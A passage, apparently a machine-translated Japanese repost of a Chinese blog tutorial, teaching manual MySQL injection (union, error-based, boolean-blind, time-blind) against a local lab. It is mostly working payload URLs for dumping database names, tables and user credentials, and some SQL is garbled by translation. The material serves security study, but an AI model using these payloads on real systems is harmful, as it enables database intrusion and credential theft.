ネットワーク セキュリティの高度な学習レッスン 10 - MySQL の手動インジェクション

記事ディレクトリ


1. MYSQLデータベースの共通機能

ここに画像の説明を挿入します


2. MYSQL のデフォルトの 4 システム データベースと主要なライブラリとテーブル

主要なライブラリ:information_schema
ここに画像の説明を挿入します

ここに画像の説明を挿入します


3. データベースの種類を決定する

PHP Web サイトの場合、一般的に使用されるデータベースは MYSQL と PostgreSQL です。
データベースの種類を決定します。

  • マイSQL:3306
  • PostgreSQL:5432
  • MSSQL:1433

4. ジョイントクエリインジェクション

使用场景:数据库在页面中存在显示位。

UNION操作符2 つ以上の SELECT ステートメントの結果を結果セットに結合するために使用されます。前提として、2 つの選択肢がある必要があります相同列

1. 具体的な手順 (射撃場のデモンストレーション):

1) まず注入点を決定します

以下のように:
ここに画像の説明を挿入します
ここに画像の説明を挿入します
ここで、射出ポイントが id 位置にあることを判断できます。

2) 数値型か文字型かを判断します。

テストには 1/1 メソッドと 1/0 メソッドを使用します。1
ここに画像の説明を挿入します
ここに画像の説明を挿入します
/1 も 1/0 もエラーを報告しません。つまり、応答がないことを意味します不是数字型

1 つの一重引用符と 2 つの一重引用符を直接追加してテストします。1
ここに画像の説明を挿入します
ここに画像の説明を挿入します
つの一重引用符についてはエラーが報告されますが、2 つの一重引用符についてはエラーは報告されません。説明してください这是字符型

3) 射出ポイントの列数を決定する

order by を使用します。並べ替えには order by が使用されます。order by 3 でエラーが報告されない場合、order by
4 ではエラーが報告されます。これは、テーブルに列が 3 つしかないことを意味します。
次のように:
ここに画像の説明を挿入します
ここに画像の説明を挿入します
使用される POC:
http://localhost/Less-1/?id=1' order by 4--+

対応する SQL ステートメント:

select * from table name (unknown) where order by 4;
#彼にエラーを報告させます

4) Webページ内でのデータベースの表示位置を取得

列の数がわかったら、Web ページ内のデータベース显示位(つまり、Web ページに表示されるフィールド) を取得する必要があります。ユニオンを使用して、エラー クエリと自己構築の選択ステートメントを結合できます。

次のように:
ここに画像の説明を挿入します
http://localhost/Less-1/?id=1

対応する SQL ステートメント:

select * from table name (unknown) where id=1;

このページに表示されているもの:

あなたのログイン名: Dumb
あなたのパスワード: Dumb

ここに画像の説明を挿入します
http://localhost/Less-1/?id=2

対応する SQL ステートメント:

select * from table name (unknown) where id=2;

ページには次の内容が表示されます。

あなたのログイン名: アンジェリーナ
あなたのパスワード: I-kill-you

間違った選択クエリ フィールドを作成します。たとえば、
ここに画像の説明を挿入します
POC
http://localhost/ Less-1/?id=を使用して id=1 を id=-1 に変更します。-1' union select 1,2,3 --+

対応する SQL ステートメント:

select * from テーブル名 (不明) where id= -1 union select 1,2,3;

ページには次の内容が表示されます。

ログイン名: 2
パスワード: 3

このようにして、显示位それらがデータテーブルの 2 列目と 3 列目であることがわかります。

5) ユーザー名とデータベース名をクエリする POC を構築します

現在のユーザー名やデータベース名など、表示位置で問い合わせる関数を構築します
ここに画像の説明を挿入します
POC を構築します:
http://localhost/ Less-1/? id=-1' Union select 1,user(),database()--+

対応する SQL ステートメント:

select * from テーブル名 (不明) where id= -1 union select 1,user(),database();

ページには次の内容が表示されます。

ログイン名: root@localhost
パスワード: security

このようにして、現在のデータベースのユーザー名とデータベース名がわかります。

6) データベース内のすべてのテーブル名を確認します。

ここに画像の説明を挿入します
使用される POC:
http://localhost/ Less-1/? id=-1' union1、2 を選択、table_name from information_schema.tables where table_schema='security'--+

対応する SQL ステートメント:

select * from table name (unknown) where id=-1 Union select 1,2, table_name from information_schema.tables where table_schema='security';

上記では、最初のテーブル名のメールのみが出力されますが、すべてのテーブル名が出力されるわけではありません。

すべてのテーブル名を出力し、group_concat()函数出力を結合するために使用します。
ここに画像の説明を挿入します
使用される POC:
http://localhost/ Less-1/? id=-1' Union select 1,2、group_concat(table_name) from information_schema.tables where table_schema='security'--+

対応する SQL ステートメント:

select * from テーブル名 (不明) where id=-1Union select 1,2, group_concat(table_name) from information_schema.tables where table_schema='security';

このようにして、セキュリティ データベース内のすべてのテーブルの名前 (電子メール、リファラー、エージェント、ユーザー) がわかります。

7) 特定のテーブルのすべてのフィールド名を調べます

ここに画像の説明を挿入します
使用される POC:
http://localhost/ Less-1/? id=-1' union1、2 を選択、group_concat(column_name) from information_schema.columns where table_schema='security'--+

対応する SQL ステートメント:

select * from テーブル名 (不明) where id=-1Union select 1,2, group_concat(column_name) from information_schema.columns where table_schema='security';

これで、セキュリティ データベース内のすべてのテーブルのすべてのフィールド名がここに出力されます。

ここで別の問題が発生します。つまり、機密データ テーブルのフィールド名 (users テーブルのフィールド名など) だけを知りたいのです。現時点では、POC: http://localhost/
ここに画像の説明を挿入します
Less を使用する
必要があります。 -1/? id=-1' union1、2を選択、group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'--+

対応する SQL ステートメント:

select * from table name (unknown) where id=-1 Union select 1,2, group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users';

これで、users テーブルのフィールド名がすべてわかったので、フィールド ID、ユーザー名、パスワードを知っているとします。

8) users テーブル内のすべてのデータをクエリします。

ここに画像の説明を挿入します
使用される POC:
http:// localhost/ Less-1/?id=-1' Union select 1、group_concat(username), group_concat(password) from users--+

対応する SQL ステートメント:

select * from users where id=-1 Union select 1, group_concat(username), group_concat(password) from users;

このようにして、すべての生徒の名前とパスワードが見つかりました。同時に、表示ビットに表示されているテーブルがユーザー テーブルであることもわかります。

美しくします:
ここに画像の説明を挿入します
使用される POC:
http:// localhost/ Less-1/?id=-1' Union select 1,2、group_concat(username,'^',password) from users--+

対応する SQL ステートメント:

select * from users where id=-1 Union select 1,2, group_concat(username,'^',password) from users;

9) 別の方法でデータを表示する

group_concat() 関数を使用してconcat()+limitテーブル データを表示することもできます。
ここに画像の説明を挿入します
使用される POC:
http:// localhost/ Less-1/?id=-1' Union select 1,2、group_concat(username,'^',password) from users limit 0,1--+

対応する SQL ステートメント:

select * from users where id=-1 Union select 1,2, group_concat(username,'^',password) from users limit 0,1;

こうすることで、1つずつ確認することができます。


5. エラー挿入

使用场景:数据库错误提示会在页面上显示。

1. MYSQL で一般的に使用されるエラー報告関数:

1)床( )

一般的な注入構文形式:

select * from test where id=1 and (select 1 from (select count(*),concat(user(), floor(rand(0)*2)) x from information_schema.tables group by x) a);

2)値の抽出( )

extractvalue(xml_frag, xpath_expr)
xpath 構文を使用して、xml 文字列から値を抽出します。

xml_frag : XML ドキュメント オブジェクトの名前。文字列型です。
xpath_expr : xpath 構文形式を使用したパス。

xpath_expr パラメータの場合不符合xpath格式,就会报错これは~ 符号(ascii编码值:0x7e)xpath 形式には存在しないため、~ 記号が xpath_expr パラメーターで使用されると、エラーが報告されます。

一般的な注入構文形式:

select * from test where id=1 and ( extractvalue(1,concat( 0x7e,(select user()), 0x7e),1));

3)updatexml( )

一般的な注入構文形式:

select * form test where id=1 and ( updatexml(1,concat( 0x7e,(select user())),1));

4)ジオメトリコレクション( )

一般的な注入構文形式:

select * from test where id=1 and geometrycollection((select * from(select user())a)b));

5)マルチポイント( )

一般的な注入構文形式:

select * from test where id=1 and multipoint((select * from(select user())a)b));

6)ポリゴン( )

一般的な注入構文形式:

select * from test where id=1 and polygon((select * from(select user())a)b));

7)マルチポリゴン( )

一般的な注入構文形式:

select * from test where id=1 and multipolygon((select * from(select user())a)b));

8) 行文字列( )

一般的な注入構文形式:

select * from test where id=1 and linestring((select * from(select user())a)b));

9)複数行文字列()

一般的な注入構文形式:

select * from test where id=1 and multilinestring((select * from(select user())a)b));

10)exp( )

一般的な注入構文形式:

select * from test where id=1 and exp(~(select * from(select user())a));

11)gtid_subset( )

一般的な注入構文形式:

select gtid_subset(user(),1);

2. エラー挿入手順 (射撃場のデモ)

1) データベースエラーがページに表示されることを確認します。

ここに画像の説明を挿入します

2) 注入ポイントを見つけます (関節注入を参照)

3) 数値型か文字型かを判断します (ジョイントインジェクションを参照)

4) エラー報告機能を使用してホイールを構築する

ここに画像の説明を挿入します
ここで使用されますupdatexml()函数。この関数の 2 番目のパラメータに特殊文字が含まれている場合、エラーが報告されます。ここで、0x7e は "~" の URL エンコードです。

使用される POC:
http://localhost/ Less-1/?id=1' and updatexml(1,0x7e,1)--+

対応する SQL ステートメント:

id=1 のユーザーから * を選択し、updatexml(1,0x7e,1);

5) データベース名とユーザー名を取得します。

ここに画像の説明を挿入します
使用される POC:
http://localhost/ Less-1/?id=1' and updatexml(1,concat(0x7e,database()),1)--+

対応する SQL ステートメント:

id=1 のユーザーから * を選択し、updatexml(1,concat(0x7e,database()),1);

6) すべてのテーブル名を取得する

ここに画像の説明を挿入します
使用される POC:
http://localhost/ Less-1/?id=1' および updatexml(1, concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)–+

対応する SQL ステートメント:

select * from users where id=1 and updatexml(1, concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1);

7) 特定のテーブルのフィールド名を取得します(ユニオンインジェクションを参照)

8) 特定のテーブルからデータを取得します (ジョイント インジェクションを参照)

3. エラー挿入には文字列長の制限があります

エラー挿入に一般的に使用される関数には、通常、文字列長の制限があります最长输出32位group_concat() 関数を直接使用すると、出力は不完全になります。

例:
ここに画像の説明を挿入します
使用される POC:
http://localhost/Less-1/?id=1' および updatexml(1, concat(0x7e,(select group_concat(username,'^',password) from users)),1) --+

この方法では、32 文字列長のコンテンツのみを出力でき、コンテンツ全体を出力することはできません。

このとき、limit を使って 1 つずつ操作して出力する必要があります:
ここに画像の説明を挿入します
POC used:
http://localhost/Less-1/?id=1' と updatexml(1, concat(0x7e,(select concat(username, ' ^',パスワード) ユーザーからlimit 0,1)),1) --+


6.ブラインドベット

1. ブール型ブラインドインジェクション

使用シナリオ: ページには表示スペースがなく、データベース クエリ エラーはページに表示されません。ページ プロンプトは、次のような正しいクエリとクエリ エラーの 2 つだけです。

普通、本当
ここに画像の説明を挿入します
ここに画像の説明を挿入します

一重引用符を 1 つ追加します。これは false です
ここに画像の説明を挿入します
ここに画像の説明を挿入します

true にするには一重引用符を 2 つ追加します
ここに画像の説明を挿入します
ここに画像の説明を挿入します

2. ブールブラインド注入手順:

1) 注入ポイントを見つけます (関節注入を参照)

2) ホイールを組み立てます

ここに画像の説明を挿入します
使用される POC:
http://localhost/Less-8/?id=1' and 1=if(1=1,1,0)--+

ここに画像の説明を挿入します
使用される POC:
http://localhost/Less-8/?id=1' and 1=if(1=2,1,0)--+

3) 現在のユーザー名とデータベース名の長さを取得します。

ここに画像の説明を挿入します
使用される POC:
http://localhost/Less-8/?id=1' and 1= if(length(user())=8,1,0)--+

次に、BP を使用して長さを爆破すると、
ここに画像の説明を挿入します
ここに画像の説明を挿入します
ここに画像の説明を挿入します
ユーザー名の文字列の長さが 14 であると推測できます。同じ方法を使用すると、現在のデータベース名の長さが 8 であることがわかります。

4) 現在のユーザー名とデータベース名を取得します。

方法 1:
ここに画像の説明を挿入します
http://localhost/Less-8/?id=1' and 1=if(mid(user(),1,1)='q',1,0)--+

BP ブラストを使用して
ここに画像の説明を挿入します
2 つのペイロードをブラストすることもできます

ここに画像の説明を挿入します
最初のブラスト位置、数字のみを使用してください

ここに画像の説明を挿入します
2 番目の爆発文字には、英文字 + 数字 + 特殊記号を追加します。サーバーが大文字と小文字を区別するかどうかに注意してください。

ここに画像の説明を挿入します
このように展開され、現在のユーザー名は root@localhost になります。現在のデータベース名は同じ方法で取得できます: security

方法 2:
インターセプト機能が無効で使用できない場合、like+‘_’
上記の例を使用します。現在のユーザー名の文字列長が 14 であることがわかっているので、ユーザー名の名前を取得する必要があります。使用した
ここに画像の説明を挿入します
POC :
http://localhost/Less-8/?id=1' and 1= if(user()+like+'______________',1,0)--+

ここでの戻り値は true です。正規表現のアンダースコア「_」は任意の文字を表すことができるためです。

ここに画像の説明を挿入します
このようにして、BP を使用して少しずつブラストし、対応するユーザー名を取得できます。

5) 現在のデータベース内のすべてのテーブル名の長さを取得します。

ここに画像の説明を挿入します
POC の構築:
http://localhost/Less-8/?id=1' and length((select group_concat(table_name) from information_schema.tables where table_schema='security'))=10--+

BP ブラストを使用すると、
ここに画像の説明を挿入します
ここに画像の説明を挿入します
ここに画像の説明を挿入します
ここで得られる長さは 29 ビットになります。

6) 現在のデータベース内のすべてのテーブル名の名前を取得します。

ここに画像の説明を挿入します
POC の構築:
http://localhost/Less-8/?id=1' and mid((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,1)='a'--+

BP を使用して爆発させます。
ここに画像の説明を挿入します
ここに画像の説明を挿入します
上記の最初のペイロードは 29 であることがわかっているため、辞書は 29 を選択します。

ここに画像の説明を挿入します
2 番目のペイロード辞書では、英文字 + 数字 + 特殊記号が追加されます。サーバーが大文字と小文字を区別するかどうかに注意してください。

ここに画像の説明を挿入します
すべてのテーブル名は、email、referer、uagents、users であることがわかりました。

7) users テーブル内のすべてのフィールド名の合計長を取得します。

ここに画像の説明を挿入します
POC の構築:
http://localhost/Less-8/?id=1' and length((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'))=10--+

同じ BP ブラストです。
ここに画像の説明を挿入します
このようにして、users テーブルのフィールド名の合計文字列長が 20 であることがわかります。

8) users テーブルのすべてのフィールド名を取得します

ここに画像の説明を挿入します
POC の構築:
http://localhost/Less-8/?id=1' and mid((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),1,1)='a' --+

また、BP ブラストを使用して、
ここに画像の説明を挿入します
ユーザー テーブルのフィールド名 (ID、ユーザー名、パスワード) を取得します。

9) users テーブルの全データの各行の合計長を取得します。

ここに画像の説明を挿入します
POC の構築:
http://localhost/Less-8/?id=1' and length((select concat(username,'^',password) from users limit 0,1))=10--+

BP ブラストの使用を開始する
ここに画像の説明を挿入します
ここに画像の説明を挿入します
ここに画像の説明を挿入します
ここに画像の説明を挿入します
と、テーブルに合計 13 行があることと、各行の連結スプライシング後の対応する文字列の長さがわかります。

10) ユーザーテーブルの目的データの取得

テーブルのフィールド名、データ行の数、各行を結合した後の文字列の合計長はすでにわかっているので、行ごとにブラストすることができます。
ここに画像の説明を挿入します
使用した POC:
http://localhost/Less-8/?id=1' and mid((select concat(username,'^',password) from users limit 0,1),1,1)='a' --+
特定の BP ブラストについては詳しく説明しませんが、操作は同様です。

3. タイムブラインド注入

このページの戻り値は true の 1 つだけです。どのような値を入力しても、復帰状況は通常どおり処理されます。Web ページを表示して、挿入されたステートメントが正しいかどうかを判断するための特定の時間関数 ( sleep)を追加します。例えば:返回的时间差

ここに画像の説明を挿入します

4. タイムブラインド注入手順:

1) 注入ポイントを見つけます (関節注入を参照)

2) 数値型か文字型かを判断します (ジョイントインジェクションを参照)

3) スリープ機能がフィルタリングされているかどうか、およびスリープ機能が実行されるかどうかをテストします。

ここに画像の説明を挿入します
sleep(1) の対応する時間は 13158 ミリ秒です

ここに画像の説明を挿入します
sleep(0) の対応する時間は 16 ミリ秒です

これは、sleep() 関数が実行されることを示しています。

4) 現在のユーザー名とデータベースの長さを取得します。

ここに画像の説明を挿入します
使用される POC:
http://localhost/Less-48/?sort=1and if(length(user())=10,sleep(1),1)--+
ここでは、予測された長さが十分であれば、sleep(1) が実行されます。

BPを使って爆発する
ここに画像の説明を挿入します
ここに画像の説明を挿入します

下面需要勾选响应时间
ここに画像の説明を挿入します
ここに画像の説明を挿入します
オプションの追加リストがあり、sleep(1) が正しく実行されるため、応答時間が最も長いものが正しい結果となり、ここでは 14 になります。同様に、展開されたデータベース名の長さは 8 です。

5) 現在のユーザー名とデータベース名を取得します。

ここに画像の説明を挿入します
http://localhost/Less-48/?sort=1and if(mid(user(),1,1)='a',sleep(1),1)--+

次に、BP を使用して
ここに画像の説明を挿入します
ここに画像の説明を挿入します
ここに画像の説明を挿入します
2 番目のブラスト ペイロード辞書をブラストします。英語の文字 + 数字 + 特殊記号を追加することに注意してください。サーバーが大文字と小文字を区別するかどうかに注意してください。

ここに画像の説明を挿入します
ここに画像の説明を挿入します
ここで、展開されたユーザー名が順番に root@localhost であることがわかります。同様に、同じ方法を使用して爆発的に取得されたデータベース名は security です。

6) 現在のデータベース内のすべてのテーブル名の合計文字列長を取得します (ブール ブラインド インジェクションを参照)

7) 現在のデータベースのすべてのテーブル名を取得します (ブール ブラインド インジェクションを参照)

8) users テーブル内のすべてのフィールド名の合計文字列長を取得します (ブール ブラインド インジェクションを参照)。

9) users テーブルのすべてのフィールド名を取得します (ブール ブラインド インジェクションを参照)

10) usersテーブルの対象データを取得します(ブールブラインドインジェクションを参照)


おすすめ

転載: blog.csdn.net/p36273/article/details/132049931